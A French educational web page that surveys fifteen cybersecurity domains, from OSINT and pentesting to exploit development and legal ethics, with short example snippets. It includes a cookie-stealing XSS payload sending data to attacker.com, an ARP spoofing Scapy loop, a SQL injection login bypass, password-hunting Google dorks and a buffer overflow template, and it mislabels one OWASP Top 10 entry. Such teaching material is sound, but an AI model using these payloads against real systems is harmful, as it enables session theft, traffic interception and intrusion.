// Cybersécurité

Les domaines de la sécurité

Explore les 15 grands piliers de la cybersécurité. Clique sur chaque domaine pour voir le contenu détaillé.

🔍 OSINT — Renseignement en source ouverte

L'OSINT (Open Source Intelligence) consiste à collecter des informations sur une cible en utilisant uniquement des sources publiques : réseaux sociaux, moteurs de recherche, bases de données ouvertes, archives web, etc.

Techniques principales

  • Google Dorking (opérateurs de recherche avancés)
  • Recherche inversée d'images (TinEye, Google Images)
  • Analyse de métadonnées de fichiers (ExifTool)
  • Recherche d'adresses email et noms d'utilisateur
  • Footprinting de domaines (Whois, DNS lookup)
  • Scraping de réseaux sociaux (LinkedIn, Twitter/X, Instagram)

Exemples de Google Dorks

site:example.com filetype:pdf intitle:"index of" passwords inurl:admin login "@gmail.com" filetype:xls

Outils populaires

MaltegoShodantheHarvester Recon-ngSpiderFootOSINT Framework SherlockExifTool

Cas d'usage légaux

  • Investigations journalistiques
  • Vérification d'antécédents (background check)
  • Pentest (phase de reconnaissance)
  • Veille concurrentielle en entreprise
🕵️ Pentesting — Tests d'intrusion

Le pentesting (test de pénétration) est une simulation d'attaque autorisée sur un système pour identifier ses vulnérabilités avant qu'un vrai attaquant ne les exploite.

Les 5 phases d'un pentest

  • 1. Reconnaissance — Collecte d'informations (OSINT, scanning)
  • 2. Scanning — Identification des ports, services, versions
  • 3. Exploitation — Utilisation des vulnérabilités trouvées
  • 4. Post-exploitation — Maintien de l'accès, pivot réseau
  • 5. Rapport — Documentation des failles et recommandations

Exemple — Scan Nmap

nmap -sV -sC -O -p- 192.168.1.1 # -sV : détection des versions # -sC : scripts par défaut # -O : détection OS # -p- : tous les ports

Types de pentest

Black BoxGrey BoxWhite Box RéseauWeb AppSocial Engineering PhysiqueRed Team

Frameworks & outils

  • Metasploit Framework — exploitation automatisée
  • Burp Suite — test d'applications web
  • Nmap — scanning réseau
  • Nikto — scan de vulnérabilités web
  • Hydra / John the Ripper — cracking de mots de passe
  • Wireshark — analyse de trafic réseau
🔐 Cryptographie

La cryptographie est la science de la protection des informations par chiffrement. Elle est à la base de toute communication sécurisée sur Internet.

Types de chiffrement

  • Symétrique — même clé pour chiffrer/déchiffrer (AES, DES, 3DES)
  • Asymétrique — paire clé publique/privée (RSA, ECC, ElGamal)
  • Hachage — fonction à sens unique (SHA-256, MD5, bcrypt)
  • Hybride — combinaison des deux (TLS/SSL)

Algorithmes courants

AES-256RSA-2048SHA-256 ChaCha20ECC MD5 (cassé)SHA-1 (cassé)DES (cassé)

Exemple Python — chiffrement AES

from Crypto.Cipher import AES import os key = os.urandom(32) # clé 256 bits iv = os.urandom(16) # vecteur init cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(b"Message secret!!")

Concepts clés

  • PKI — Infrastructure à clé publique
  • Certificats X.509 (HTTPS)
  • Signatures numériques
  • Perfect Forward Secrecy (PFS)
  • Zero-knowledge proof
🌐 Sécurité réseau

La sécurité réseau protège l'infrastructure informatique contre les accès non autorisés, les attaques et les pannes.

Protocoles essentiels

  • TCP/IP, UDP — modèle de base d'internet
  • DNS — résolution de noms (vulnérable au DNS spoofing)
  • DHCP — attribution d'adresses IP
  • ARP — résolution adresse IP ↔ MAC (vulnérable ARP poisoning)
  • TLS/SSL — chiffrement des communications
  • IPSec — VPN et tunnels sécurisés

Attaques réseau courantes

  • Man-in-the-Middle (MitM) — interception de trafic
  • DDoS — saturation de service
  • ARP Poisoning — redirection de trafic LAN
  • DNS Spoofing / Cache Poisoning
  • Port Scanning — reconnaissance des services
  • Sniffing — écoute passive du réseau

Exemple — ARP Spoofing (éducatif)

# Avec Scapy (Python) from scapy.all import ARP, send pkt = ARP(op=2, pdst="192.168.1.1", hwdst="ff:ff:ff:ff:ff:ff", psrc="192.168.1.100") send(pkt, loop=True, inter=2)

Défenses

FirewallIDS/IPSVPN VLAN802.1XNAC Zero Trust
🧠 Ingénierie sociale

L'ingénierie sociale exploite la psychologie humaine plutôt que les failles techniques. C'est souvent le vecteur d'attaque le plus efficace car le maillon faible est l'humain.

Types d'attaques

  • Phishing — emails frauduleux imitant des entités légitimes
  • Spear Phishing — phishing ciblé et personnalisé
  • Vishing — phishing par appel téléphonique
  • Smishing — phishing par SMS
  • Pretexting — création d'un scénario fictif crédible
  • Baiting — laisser une clé USB piégée dans un lieu public
  • Tailgating — suivre quelqu'un dans une zone sécurisée
  • Quid pro quo — offre de service contre des infos

Techniques psychologiques utilisées

  • Urgence et peur (« Votre compte sera suspendu ! »)
  • Autorité (se faire passer pour le PDG, la police)
  • Réciprocité (offrir quelque chose pour obtenir en retour)
  • Confiance sociale (usurpation d'identité d'un collègue)

Se protéger

  • Formation et sensibilisation régulière des employés
  • Vérification de l'identité par canal alternatif
  • MFA (authentification multi-facteurs)
  • Politique de "ne jamais cliquer sur un lien non sollicité"
  • Simulations de phishing internes
🦠 Malware Analysis

L'analyse de malware consiste à étudier des logiciels malveillants pour comprendre leur fonctionnement, leur impact et comment s'en défendre.

Types de malwares

  • Virus — s'attache à un fichier et se réplique
  • Worm — se propage seul via le réseau
  • Trojan — se déguise en logiciel légitime
  • Ransomware — chiffre les fichiers et demande rançon
  • Rootkit — se cache dans l'OS, difficilement détectable
  • Keylogger — enregistre les frappes clavier
  • Spyware — espionne l'utilisateur discrètement
  • Botnet — réseau de machines compromises (zombies)
  • RAT — Remote Access Trojan, contrôle à distance

Méthodes d'analyse

  • Statique — sans exécuter le malware (strings, IDA Pro, Ghidra)
  • Dynamique — exécution en sandbox (Cuckoo Sandbox, AnyRun)
  • Hybride — combinaison des deux approches

Outils d'analyse

GhidraIDA Prox64dbg CuckooVirusTotalPEStudio WiresharkYARA
🔎 Forensics numérique

Le forensics numérique (ou investigation numérique) consiste à collecter, préserver et analyser des preuves numériques après un incident de sécurité, dans le respect de la chaîne de preuve légale.

Étapes d'une investigation

  • 1. Identification — délimiter la scène, identifier les preuves
  • 2. Préservation — copie bit à bit (hash MD5/SHA256 pour intégrité)
  • 3. Analyse — extraction et examination des données
  • 4. Documentation — rapport détaillé et chronologie
  • 5. Présentation — restitution aux parties légales

Types de forensics

  • Forensics disque — récupération de fichiers supprimés, analyse de partitions
  • Forensics mémoire (RAM) — analyse de processus, connexions actives
  • Forensics réseau — analyse de captures PCAP
  • Forensics mobile — extraction de données d'appareils iOS/Android

Commandes forensics Linux

# Copie bit à bit d'un disque dd if=/dev/sda of=/mnt/evidence.img bs=512 # Hash pour vérifier l'intégrité sha256sum /mnt/evidence.img # Récupération de fichiers supprimés foremost -i evidence.img -o output/

Outils

AutopsyFTKVolatility WiresharkSleuth KitEnCase
🌍 Sécurité Web (OWASP)

La sécurité des applications web est un domaine crucial. L'OWASP (Open Web Application Security Project) publie le Top 10 des vulnérabilités les plus critiques.

OWASP Top 10 (2021)

  • A01 — Broken Access Control — accès à des ressources non autorisées
  • A02 — Cryptographic Failures — données sensibles non chiffrées
  • A03 — Injection (SQL, NoSQL, XSS) — données non sanitisées
  • A04 — Insecure Design — conception non sécurisée dès le départ
  • A05 — Security Misconfiguration — mauvaise configuration serveur
  • A06 — Vulnerable Components — bibliothèques obsolètes
  • A07 — Auth Failures — mots de passe faibles, sessions non invalidées
  • A08 — SSRF — requêtes forgées côté serveur

Exemple — SQL Injection

-- Requête vulnérable SELECT * FROM users WHERE username='$user' AND password='$pass'; -- Payload d'injection username: admin' -- -- Résultat : SELECT * FROM users WHERE username='admin' --' AND password='...' -- Le mot de passe est ignoré !

Exemple — XSS

-- Payload basique XSS dans un champ commentaire : <script>alert('XSS')</script> -- Vol de cookie : <script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Outils de test web

Burp SuiteOWASP ZAPNikto SQLmapdirbffuf
🔧 Reverse Engineering

Le reverse engineering (rétro-ingénierie) consiste à analyser un binaire compilé pour comprendre son fonctionnement sans accès au code source.

Concepts fondamentaux

  • Architecture x86 / x64 / ARM
  • Registres CPU (EAX, EBX, ESP, EIP…)
  • Instructions Assembly (MOV, PUSH, CALL, JMP, CMP…)
  • Formats de fichiers (PE Windows, ELF Linux, Mach-O macOS)
  • Calling conventions (cdecl, stdcall, fastcall)
  • Stack frames et gestion de la mémoire

Exemple Assembly x86

; Fonction simple : additionner deux entiers add_numbers: push ebp mov ebp, esp mov eax, [ebp+8] ; premier argument add eax, [ebp+12] ; + deuxième argument pop ebp ret ; retourne eax (résultat)

Outils

  • Ghidra (NSA) — décompilateur gratuit et puissant
  • IDA Pro — standard industriel (payant)
  • x64dbg / OllyDbg — débogueur Windows
  • GDB — débogueur Linux
  • Radare2 — framework open-source
  • Binary Ninja — analyse de binaires
☁️ Cloud Security

La sécurité cloud protège les données, applications et infrastructures hébergées chez des fournisseurs comme AWS, Azure ou GCP.

Modèles de responsabilité partagée

  • IaaS — le client gère OS, apps, données ; le provider gère le matériel
  • PaaS — le client gère les apps et données ; le provider gère l'OS
  • SaaS — le provider gère tout, le client gère les accès et données

Menaces spécifiques au cloud

  • Misconfiguration de buckets S3 publics (fuites de données)
  • IAM trop permissif (principe du moindre privilège violé)
  • API keys exposées dans du code GitHub
  • Attaques sur les containers Docker / Kubernetes
  • Cryptojacking sur des instances cloud

Bonnes pratiques

IAM strictMFAChiffrement au repos Audit logsVPC privéWAF CSPMZero Trust

Outils cloud security

  • ScoutSuite — audit multi-cloud
  • Prowler — audit AWS/GCP/Azure
  • Trivy — scan de vulnérabilités containers
  • CloudSploit — détection de misconfigurations
🏴 CTF — Capture The Flag

Les CTF sont des compétitions de cybersécurité où les participants résolvent des challenges pour trouver des "flags" (chaînes de texte cachées). Excellent moyen d'apprendre en pratiquant.

Catégories de challenges

  • Web — Exploitation de vulnérabilités web (SQL injection, XSS, SSRF…)
  • Pwn / Binary — Buffer overflow, format string, ROP chains
  • Reverse — Rétro-ingénierie de binaires pour trouver le flag
  • Crypto — Casser des algorithmes de chiffrement
  • Forensics — Analyser des images disque, PCAP, fichiers
  • OSINT — Trouver des informations en sources ouvertes
  • Misc — Stéganographie, puzzle, coding challenges

Plateformes CTF

  • PicoCTF — idéal pour débutants (Carnegie Mellon)
  • HackTheBox — machines virtuelles à compromettre
  • TryHackMe — apprentissage guidé et CTF
  • CTFtime.org — calendrier des compétitions mondiales
  • Root-Me — plateforme française
  • OverTheWire — wargames progressifs

Outils essentiels CTF

pwntoolsCyberChefGhidra Burp Suitestegsolvebinwalk ROPgadgetgdb-peda
🛡️ Blue Team & SOC

La Blue Team est l'équipe de défense qui surveille, détecte et répond aux cyberattaques. Opposée à la Red Team (attaquants éthiques).

Rôles en Blue Team

  • Analyste SOC (L1/L2/L3) — surveillance des alertes SIEM
  • Incident Responder — gestion des incidents de sécurité
  • Threat Hunter — recherche proactive de menaces
  • Threat Intelligence Analyst — veille sur les acteurs malveillants
  • DFIR — Digital Forensics & Incident Response

Outils SOC

  • SIEM : Splunk, ElasticSearch (ELK Stack), Microsoft Sentinel
  • EDR : CrowdStrike, SentinelOne, Microsoft Defender
  • IDS/IPS : Snort, Suricata, Zeek
  • SOAR : automatisation des réponses aux incidents
  • Threat Intel : MISP, OpenCTI, VirusTotal

Frameworks défensifs

MITRE ATT&CKCyber Kill ChainNIST CSF ISO 27001CIS Controls
📱 Mobile Security

La sécurité mobile couvre l'analyse et la protection des applications et systèmes iOS et Android.

Vulnérabilités courantes (OWASP Mobile Top 10)

  • Stockage de données non sécurisé (SharedPreferences, SQLite)
  • Communication réseau non sécurisée (HTTP au lieu de HTTPS)
  • Authentification côté client trop faible
  • Reverse engineering de l'APK (décompilation)
  • Permissions excessives demandées par l'app

Analyse d'un APK Android

# Décompiler un APK avec apktool apktool d application.apk -o output/ # Extraire les sources Java avec jadx jadx application.apk -d sources/ # Rechercher des secrets dans le code grep -r "api_key\|password\|secret" sources/

Outils mobile

FridaObjectionMobSF apktooljadxBurp Suite ADB
Développement d'exploits

Le développement d'exploits consiste à créer des programmes qui tirent parti de vulnérabilités logicielles pour obtenir un comportement non prévu (ex : exécution de code arbitraire).

Concepts fondamentaux

  • Buffer Overflow — écriture au-delà des limites d'un tampon en mémoire
  • Stack Smashing — écrasement de l'adresse de retour
  • Heap Overflow — corruption de la mémoire dynamique
  • Format String — exploitation de printf mal utilisé
  • Use-After-Free — utilisation de mémoire libérée
  • ROP Chains — Return Oriented Programming (bypass NX/DEP)

Protections modernes

  • ASLR — Address Space Layout Randomization
  • NX/DEP — No-Execute / Data Execution Prevention
  • Stack Canaries — valeur sentinelle pour détecter les overflows
  • PIE — Position Independent Executable
  • RELRO — Relocation Read-Only

Exemple de buffer overflow basique (Python)

from pwn import * proc = process('./vulnerable_binary') payload = b'A' * 64 # remplissage du buffer payload += b'B' * 8 # écrase EBP payload += p64(0xdeadbeef) # nouvelle adresse de retour proc.sendline(payload) proc.interactive()
⚖️ Éthique & Cadre légal

La cybersécurité éthique implique de toujours agir dans le cadre légal. Hacker sans autorisation est un crime dans la plupart des pays.

Cadre légal (France)

  • Article 323-1 du Code pénal — accès frauduleux à un STAD : jusqu'à 2 ans de prison et 60 000 € d'amende
  • Article 323-2 — entrave à un STAD : jusqu'à 5 ans et 150 000 €
  • RGPD — protection des données personnelles en Europe
  • LPM / ANSSI — réglementations nationales pour les OIV

Règles d'or du hacker éthique

  • ✅ Toujours obtenir une autorisation écrite avant tout test
  • ✅ Définir clairement le périmètre (scope) du pentest
  • ✅ Ne jamais exfiltrer de vraies données personnelles
  • ✅ Signaler toutes les vulnérabilités trouvées (full disclosure responsable)
  • ✅ Utiliser des environnements de test isolés
  • ❌ Ne jamais tester sans autorisation explicite

Certifications reconnues

CEHOSCPCISSP CompTIA Security+eJPTCISM GCIH